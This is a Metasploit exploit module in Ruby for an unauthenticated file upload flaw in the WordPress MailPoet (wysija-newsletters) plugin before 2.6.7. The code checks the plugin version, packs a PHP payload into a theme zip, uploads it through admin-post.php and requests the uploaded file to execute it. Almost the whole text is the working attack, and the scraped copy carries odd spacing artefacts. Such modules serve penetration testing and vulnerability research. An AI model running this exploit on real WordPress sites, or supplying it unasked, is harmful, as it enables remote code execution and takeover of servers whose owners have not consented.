require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf:: HTTP ::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super (update_info(info,
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload' ,
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2 . 6 . 7
is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme
functionality to upload a zip file containing the payload. The plugin used the
admin_init hook without knowning the hook is also executed for unauthenticated
users when calling the right URL .
},
'Author' =>
[
'Marc-Alexandre Montpas' ,
'Christian Mehlmauer'
],
'License' => MSF_LICENSE ,
'References' =>
[
],
'Privileged' => false ,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP ,
'Targets' => [ [ 'wysija-newsletters < 2.6.7' , {}] ],
'DefaultTarget' => 0 ,
'DisclosureDate' => 'Jul 1 2014' ))
end
def create_zip_file(theme_name, payload_name)
content = {
File .join(theme_name, 'style.css' ) => '' ,
File .join(theme_name, payload_name) => payload.encoded
}
zip_file = Rex::Zip::Archive. new
content.each_pair do |name, content|
zip_file.add_file(name, content)
end
zip_file.pack
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content' , 'plugins' , 'wysija-newsletters' , 'readme.txt' )
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
if res. nil ? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
version = res.body[/stable tag: ([^\r\n "\']+\.[^\r\n" \']+)/i, 1 ]
if version. nil ?
return Msf::Exploit::CheckCode::Detected
end
print_status( "#{peer} - Found version #{version} of the plugin" )
if Gem::Version. new (version) < Gem::Version. new ( '2.6.7' )
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end
def exploit
theme_name = rand_text_alpha( 10 )
payload_name = "#{rand_text_alpha(10)}.php"
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin' , 'admin-post.php' )
data = Rex:: MIME ::Message. new
data.add_part(zip_content, 'application/x-zip-compressed' , 'binary' , "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"" )
data.add_part( 'on' , nil , nil , 'form-data; name="overwriteexistingtheme"' )
data.add_part( 'themeupload' , nil , nil , 'form-data; name="action"' )
data.add_part( 'Upload' , nil , nil , 'form-data; name="submitter"' )
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content' , 'uploads' , 'wysija' , 'themes' , theme_name, payload_name)
print_status( "#{peer} - Uploading payload to #{payload_uri}" )
res = send_request_cgi({
'method' => 'POST' ,
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}" ,
'vars_get' => { 'page' => 'wysija_campaigns' , 'action' => 'themes' },
'data' => post_data
})
if res. nil ? || res.code != 302 || res.headers[ 'Location' ] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed" )
end
register_files_for_cleanup( 'style.css' , payload_name)
print_warning( "#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually." )
print_status( "#{peer} - Executing payload #{payload_uri}" )
res = send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end
|